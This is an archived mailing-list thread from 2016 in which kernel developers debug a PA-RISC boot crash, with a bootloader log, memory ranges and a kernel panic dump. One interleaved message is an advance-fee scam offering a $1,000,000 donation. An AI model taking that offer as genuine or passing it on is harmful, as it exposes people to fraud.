Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btKBC-0004LA-Eo
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 21:54:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751097AbcJITyk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 15:54:40 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55382 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750975AbcJITyj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 15:54:39 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MOSNd-1bqK2J2BCH-005qNo; Sun, 09 Oct 2016 21:54:34
 +0200
In-Reply-To: <alpine.LRH.2.20.1610092356270.32571@math.ut.ee>
X-Provags-ID: V03:K0:k/UzYDoiamIbexvmY6lN3efPk4Gh3WCHTUE0VaQh74YT14EkLbO
 co5n7nKyG3kt0YgEJi/a/tqnUpNsLkAhu2D0KKZmcs4TSfQxydlRjXfyZJvFVsraItvFusL
 LHbOYLCsWIODPm2I/nVskb7ODGWp3RxZmjLbGQTGq8+CL+WTavY5Lfg5z54j6Bga3g4GCvl
 cKYlcdA871zJmXxkGJJmA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:BcLgJ8CuqVU=:m6EFWKECwv4znPRvvkK///
 d8DLunWRauHdAP8s3tlt2l1/SS2Xta0TbE1D/P6Ow8ZQyQYLgn0pOVgsNoAdcoGqR/McPEEby
 3wUZa3RtsNma5FXX6+qFPo7IsXZ45ve23wVrtGrZ6RC1YvvweYpsghPJ4KEZM9zENYw7nR+km
 kU8kJ28IBe39pHljnZqmOFl/S5dquNsC1kld6PVPBECPrwnsekyUCd8oT6lNKPMGCZDLoDvtr
 I0SoxD/CHqjRsRz52EOjUF6MWrhMOb2AV8P0zOWQZo7v5qSEBES/MFj1UJecdNKodIJsO8397
 qEzVJQHCdPPB0m4uLbKw607/SXtTYXBs7HukHHbr8ndGa97F/w8CUizzUV16KpppiLQcTSgJA
 SfoHWltzpmcA8X1rdg9oC7BsPfmKeJGRDVM/Do/wsNPIW2/WdwTKvMCmfTViv0XNy8oQNaAFH
 KO5nGeNgx1+IQvQDFsFQeUgcGYm88Kmn5sI9Y0Hfn9AIYP/hFZIxQw4pOT/8BNWlSzuBXZf/5
 u6UiEm0S2EZ/ifKneIKVJAxj8vi4ie9ifwblAPCdZ/Bkog/Mm42PEx5vYEhT88J/WLR1Z5LdR
 iTdroQU/kLrt0vHCeGVgyeT460xDaR1v7ZqwVu3wgOhMID8kfKf8gZ+aTqB+U0d6UWWSCsjSi
 Hk04XUBcbOcAapUCd+41f6zq3LZQsIHynxy7YNOVsJ24sxVAxBbmLBLvkkb+HbXkuuE0MG6F3
 jl1cHYipKPOeWAObYe1ISgn75/9PXXmVEMtVAjLjLOWLJAca/IKLPVZJYccyPSM8SgEmi+4U 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26993 gmane.linux.kernel:2323754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26993>

On 09.10.2016 23:09, Meelis Roos wrote:
>>>> Even if you fix the kernel with the patches above, you still may run
>>>> into the palo bug. I've just pushed a fix for it into the palo tree:
>>>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
>>>>
>>>> If you rebuild palo, please make sure to install the new ipl boot loader into
>>>> the palo partition of your boot disc. palo should report at bootup version 1.96.
>>
>> Same here. Please pull latest version, and install it:
>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/
> 
> palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
> 
> Just palo with newst upstream kernel git did not change anything, so 
> it's not palo.
> 
> 
> Pulled 
> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git 
> but it seems to be alreay up to date - these commits are in my tested 
> upstream that broke the booting?

Really? I just updated it a few hours ago. Please pull the "for-next" branch.

Can you send the last line of your "System.map" file, e.g.
0000000041f00000 B _end

What is the output of palo when booting ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Friedrich Mayrhofer" <rscala@etsii.upm.es>
Newsgroups: gmane.linux.ports.parisc
Subject: I Hope You Get My Message This Time
Date: Mon, 10 Oct 2016 03:26:06 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <f5562725c66e3910d02d9ba5af189335.squirrel@correo.etsii.upm.es>
Reply-To: friedrichmayrhofer222@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: blaine.gmane.org 1476063929 8139 195.159.176.226 (10 Oct 2016 01:45:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2016 01:45:29 +0000 (UTC)
User-Agent: SquirrelMail/1.4.22
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 10 03:45:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btPeX-0000dY-E2
	for glpp-linux-parisc@m.gmane.org; Mon, 10 Oct 2016 03:45:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751404AbcJJBpS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 21:45:18 -0400
Original-Received: from beta.etsii.upm.es ([138.100.71.89]:38225 "EHLO
        beta.etsii.upm.es" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750991AbcJJBpR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 21:45:17 -0400
X-Greylist: delayed 575 seconds by postgrey-1.27 at vger.kernel.org; Sun, 09 Oct 2016 21:45:17 EDT
Original-Received: from localhost (localhost [127.0.0.1])
        by beta.etsii.upm.es (Postfix) with ESMTP id 792FE836BF;
        Mon, 10 Oct 2016 03:33:15 +0200 (CEST)
Original-Received: from beta.etsii.upm.es ([127.0.0.1])
        by localhost (beta.etsii.upm.es [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id z2LAzDJqNmdy; Mon, 10 Oct 2016 03:33:15 +0200 (CEST)
Original-Received: from correo1.etsii.upm.es (correo1.etsii.upm.es [138.100.71.105])
        by beta.etsii.upm.es (Postfix) with ESMTP id 5BA69836BC;
        Mon, 10 Oct 2016 03:33:15 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by correo1.etsii.upm.es (Postfix) with ESMTP id C61E81700CAA;
        Mon, 10 Oct 2016 03:26:08 +0200 (CEST)
X-Virus-Scanned: by amavisd-new at etsii.upm.es
Original-Received: from correo1.etsii.upm.es ([127.0.0.1])
        by localhost (correo1.etsii.upm.es [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id ZlnYej7ciFBF; Mon, 10 Oct 2016 03:26:08 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by correo1.etsii.upm.es (Postfix) with ESMTP id 3F7D11700CE4;
        Mon, 10 Oct 2016 03:26:06 +0200 (CEST)
Original-Received: from correo.etsii.upm.es (localhost [127.0.0.1])
        by correo1.etsii.upm.es (Postfix) with ESMTP id 9AAE81700CE7;
        Mon, 10 Oct 2016 03:26:05 +0200 (CEST)
Original-Received: from 159.203.37.230
        (SquirrelMail authenticated user rscala)
        by correo.etsii.upm.es with HTTP;
        Mon, 10 Oct 2016 03:26:06 +0200
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26994>




-- 
This is the second time i am sending you this mail.

I, Friedrich Mayrhofer Donate $ 1,000,000.00 to You, Email  Me personally
for more details.

Regards.
Friedrich Mayrhofer

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: parisc crash on boot with 4.8+git
Date: Mon, 10 Oct 2016 09:04:44 +0300 (EEST)
Lines: 123
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610100857110.32571@math.ut.ee>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee> <57FA089F.1020301@gmx.de> <alpine.LRH.2.20.1610092356270.32571@math.ut.ee> <57FAA079.5010502@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1476074074 29221 195.159.176.226 (10 Oct 2016 04:34:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2016 04:34:34 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 10 06:34:29 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1btSI9-0005m4-OQ
	for glk-linux-kernel-3@m.gmane.org; Mon, 10 Oct 2016 06:34:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751110AbcJJEeU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 10 Oct 2016 00:34:20 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:33535 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750698AbcJJEeS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 10 Oct 2016 00:34:18 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id C1CD69011C;
        Mon, 10 Oct 2016 07:34:13 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id AE32022163F; Mon, 10 Oct 2016 09:04:45 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 011A12213FF;
        Mon, 10 Oct 2016 09:04:44 +0300 (EEST)
In-Reply-To: <57FAA079.5010502@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2323832 gmane.linux.ports.parisc:26995
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2323832>

> >>>> Even if you fix the kernel with the patches above, you still may run
> >>>> into the palo bug. I've just pushed a fix for it into the palo tree:
> >>>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
> >>>>
> >>>> If you rebuild palo, please make sure to install the new ipl boot loader into
> >>>> the palo partition of your boot disc. palo should report at bootup version 1.96.
> >>
> >> Same here. Please pull latest version, and install it:
> >> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/
> > 
> > palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
> > 
> > Just palo with newst upstream kernel git did not change anything, so 
> > it's not palo.
> > 
> > 
> > Pulled 
> > git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git 
> > but it seems to be alreay up to date - these commits are in my tested 
> > upstream that broke the booting?
> 
> Really? I just updated it a few hours ago. Please pull the "for-next" branch.
> 
> Can you send the last line of your "System.map" file, e.g.
> 0000000041f00000 B _end
> 
> What is the output of palo when booting ?

Sorry, I pulled from the default branch before, now for-next and it did 
pull stuff.

System.map ends with

0000000040900000 B _end



HARD Booted.
palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34715   82 swap

PALO(F0) partition contains:

Command line for kernel: 'root=/dev/sdb3 console=ttyS1 
palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 135536 mediaptr 0x1000
Segment 1 load 00122000 size 23320 mediaptr 0x23000
Segment 2 load 00200000 size 4541488 mediaptr 0x29000
Segment 3 load 00655000 size 1393916 mediaptr 0x47e000
Segment 4 load 00800000 size 1045640 mediaptr 0x5d3000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 4.8.0-11292-gf79b076 (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #82 Mon Oct 10 01:25:58 EEST 2016
unwind_init: start = 0x40770e1c, end = 0x407a94fc, entries = 14446
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008860 00000491 00000000 00000002 3e45475d0860fe3d 100000f0 00000008 000000b2 000000b2
vers  00000302
CPUID vers 20 rev 5 (0x00000285)
capabilities 0x35
model 9000/800/rp3410  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
Total Memory: 2046 MB
Backtrace:
 [<0000000040102d40>] paging_init+0x5e0/0x740
 [<0000000040103744>] setup_arch+0x16c/0x1b0
 [<0000000040100ce0>] start_kernel+0xb8/0x668


Bad Address (null pointer deref?): Code=15 regs=00000000408004c0 (Addr=0000006cbe693000)
CPU: 0 PID: 0 Comm: swapper Not tainted 4.8.0-11292-gf79b076 #82
task: 000000004087ba20 task.stack: 0000000040800000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 0000000000900000 00000000401024c4 00000000408003b0
r04-07  00000000406b45c0 0000000040ae0000 0000004040000000 000000004088b104
r08-11  0000000040800490 000000407fe00000 0000004040000000 0000000000200000
r12-15  00000000406d85c0 0000000040122928 0000000040000000 0000000000000323
r16-19  0000004080000000 0000000000000400 0000000000000000 0000006cbe693000
r20-23  0000000000001000 00000000009e2000 0000000000000001 0000000000000001
r24-27  000000006c7e693e 00000000408eec90 0000004080000000 00000000406b45c0
r28-31  0000004040000323 0000000040800510 00000000408004c0 0000006cbe693000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004010251c 0000000040102520
 IIR: 0ffc12c0    ISR: 0000000000000000  IOR: 0000006cbe693000
 CPU:        0   CR30: 0000000040800000 CR31: fffffff0f0e05ee0
 ORIG_R28: 00000000408006d0
 IAOQ[0]: map_pages+0x234/0x320
 IAOQ[1]: map_pages+0x238/0x320
 RP(r2): map_pages+0x1dc/0x320
Backtrace:
 [<0000000040102d40>] paging_init+0x5e0/0x740
 [<0000000040103744>] setup_arch+0x16c/0x1b0
 [<0000000040100ce0>] start_kernel+0xb8/0x668

Kernel panic - not syncing: Bad Address (null pointer deref?)
---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)



-- 
Meelis Roos (mroos@linux.ee)


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Mon, 10 Oct 2016 16:47:13 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <57FBA9F1.6000009@gmx.de>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
 <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
 <57FA089F.1020301@gmx.de> <alpine.LRH.2.20.1610092356270.32571@math.ut.ee>
 <57FAA079.5010502@gmx.de> <alpine.LRH.2.20.1610100857110.32571@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476110865 28804 195.159.176.226 (10 Oct 2016 14:47:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2016 14:47:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 10 16:47:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btbrL-0001kJ-7M
	for glpp-linux-parisc@m.gmane.org; Mon, 10 Oct 2016 16:47:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752152AbcJJOrV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 10 Oct 2016 10:47:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58186 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752147AbcJJOrU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 10 Oct 2016 10:47:20 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LdHeL-1bBADg41mT-00iUbc; Mon, 10 Oct 2016 16:47:14
 +0200
In-Reply-To: <alpine.LRH.2.20.1610100857110.32571@math.ut.ee>
X-Provags-ID: V03:K0:QQtWUXRQvEZxVdQVbX7bDXYDfkLCFUhP7zbidD5keRYNr4awA1b
 vPlX40sWbkIbrZDwgkqazB7CqghaVXx8ARofFEsQFKAQTygaY7gOzAjy+P2BCwnaydV7Awo
 7/kEe8KMm7z2BGEEZr5RquDeyi6rBS1oaRpmXgC3Wxk4J8wbtEr35LxpV8o0Zc5oPnuv9th
 5UNdYDCG/ymR4moeC2vmA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:umHU8KwJUcU=:1iFPV2bp33xggqnMg4Psmm
 9U0ZKKnW2MeCSk81ZB29gIDUIWINl6QNzJPRLouBh/uGS12k25LNK48nDQ9sbPde4Cw41XQ09
 KWF36k4h/e0jr5wMNR45a+qI9PZlhLC/uGlIJHaXpypy/xjiDZyjsmJWNRkiFBuHVUvvro+op
 nu+BG/PaS9nk3cpfSA8tzTO+nwHY3yw8+pjmKIx/EV8NQdGpfTFCCRJS44yUmd3dOX5ZZixht
 11ElqWNAiQ434/t2ecTwv3sGLO8r3IQTu4dTZrDT91IDwUFxp+Mnzv9yzIyAiEV4NK4iz5zzs
 bn/APixhbDiDMiDL61ff+NWqxEvutzGs08r2x34CovINW5mZI7JErZA2ivjGiP1JMvQiLQSzA
 DmmpeViXVbFPJgRQejfx0/HKj8fOd+6htsrcKtbS9BTPlLHJE0N//tZCtB+WLRl05J6YaEExr
 PRwnGXGpMmAVX6YtSIMeW9WSq9uca0vKbp32js5sxQLVqUESgo/S5AP31NPiL+SCYB5cLVVgg
 i/473ZfQJ6rKlp/cWui+b+5YvEbcBo+cAN5fgl2vQuSTk+qx5U4C+TVVcA28mY+6x7/FkhD5n
 S1aPsoEfGbAIUuX8Vir6AnLbjG18S4uJ51enR8ouM34c/cvMBQe9FWtc0YcnknQdH+Y/VkMSA
 QYjzGCpx36BwhozjjtWdObFRD2U6V1mt6YtS4GW7R8QYNcoZWnrk+qKMkcd6lnXV/WxzYAiWR
 T0YTzTlqW2zhqA8CEdCXGJnbX829iT1ZT8ZcGferT8QMrRZl796nAT9Ph4WhqBYJELA7Gsui 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26996 gmane.linux.kernel:2324126
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26996>

On 10.10.2016 08:04, Meelis Roos wrote:
>>>>>> Even if you fix the kernel with the patches above, you still may run
>>>>>> into the palo bug. I've just pushed a fix for it into the palo tree:
>>>>>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
>>>>>>
>>>>>> If you rebuild palo, please make sure to install the new ipl boot loader into
>>>>>> the palo partition of your boot disc. palo should report at bootup version 1.96.
>>>>
>>>> Same here. Please pull latest version, and install it:
>>>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/
>>>
>>> palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
>>>
>>> Just palo with newst upstream kernel git did not change anything, so 
>>> it's not palo.
>>>
>>>
>>> Pulled 
>>> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git 
>>> but it seems to be alreay up to date - these commits are in my tested 
>>> upstream that broke the booting?
>>
>> Really? I just updated it a few hours ago. Please pull the "for-next" branch.
>>
>> Can you send the last line of your "System.map" file, e.g.
>> 0000000041f00000 B _end
>>
>> What is the output of palo when booting ?
> 
> Sorry, I pulled from the default branch before, now for-next and it did 
> pull stuff.
> 
> System.map ends with
> 
> 0000000040900000 B _end
> 
> 
> 
> HARD Booted.
> palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
> 
> Partition Start(MB) End(MB) Id Type
> 1               1      32   f0 Palo
> 2              33     224   83 ext2
> 3             225   31696   83 ext2
> 4           31697   34715   82 swap
> 
> PALO(F0) partition contains:
> 
> Command line for kernel: 'root=/dev/sdb3 console=ttyS1 
> palo_kernel=2/vmlinux'
> Selected kernel: /vmlinux from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 135536 mediaptr 0x1000
> Segment 1 load 00122000 size 23320 mediaptr 0x23000
> Segment 2 load 00200000 size 4541488 mediaptr 0x29000
> Segment 3 load 00655000 size 1393916 mediaptr 0x47e000
> Segment 4 load 00800000 size 1045640 mediaptr 0x5d3000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> Linux version 4.8.0-11292-gf79b076 (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #82 Mon Oct 10 01:25:58 EEST 2016
> unwind_init: start = 0x40770e1c, end = 0x407a94fc, entries = 14446
> FP[0] enabled: Rev 1 Model 20
> The 64-bit Kernel has started...
> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
> bootconsole [ttyB0] enabled
> Initialized PDC Console for debugging.
> Determining PDC firmware type: 64 bit PAT.
> model 00008860 00000491 00000000 00000002 3e45475d0860fe3d 100000f0 00000008 000000b2 000000b2
> vers  00000302
> CPUID vers 20 rev 5 (0x00000285)
> capabilities 0x35
> model 9000/800/rp3410  
> parisc_cache_init: Only equivalent aliasing supported!
> Memory Ranges:
>  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
>  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
> Total Memory: 2046 MB

2046 MB ???
That's strange, it should be 2048 MB.

Can you check in your firmware "service" or "Configuration" menu, if it 
reports some entries in your PDT (Page Deallocation Table) ?
What happens if you clean the PDT entries (see firmware menu) and boot again?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: parisc crash on boot with 4.8+git
Date: Mon, 10 Oct 2016 19:26:30 +0300 (EEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610101925320.14896@math.ut.ee>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee> <57FA089F.1020301@gmx.de> <alpine.LRH.2.20.1610092356270.32571@math.ut.ee> <57FAA079.5010502@gmx.de>
 <alpine.LRH.2.20.1610100857110.32571@math.ut.ee> <57FBA9F1.6000009@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1476111383 30739 195.159.176.226 (10 Oct 2016 14:56:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2016 14:56:23 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 10 16:56:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1btc01-0007B9-M8
	for glk-linux-kernel-3@m.gmane.org; Mon, 10 Oct 2016 16:56:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752957AbcJJO4Q (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 10 Oct 2016 10:56:16 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:54622 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752462AbcJJO4P (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 10 Oct 2016 10:56:15 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id B8BF290188;
        Mon, 10 Oct 2016 17:55:58 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 45A972216F9; Mon, 10 Oct 2016 19:26:30 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 9C6F5220CB7;
        Mon, 10 Oct 2016 19:26:30 +0300 (EEST)
In-Reply-To: <57FBA9F1.6000009@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2324132 gmane.linux.ports.parisc:26997
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2324132>

> > Memory Ranges:
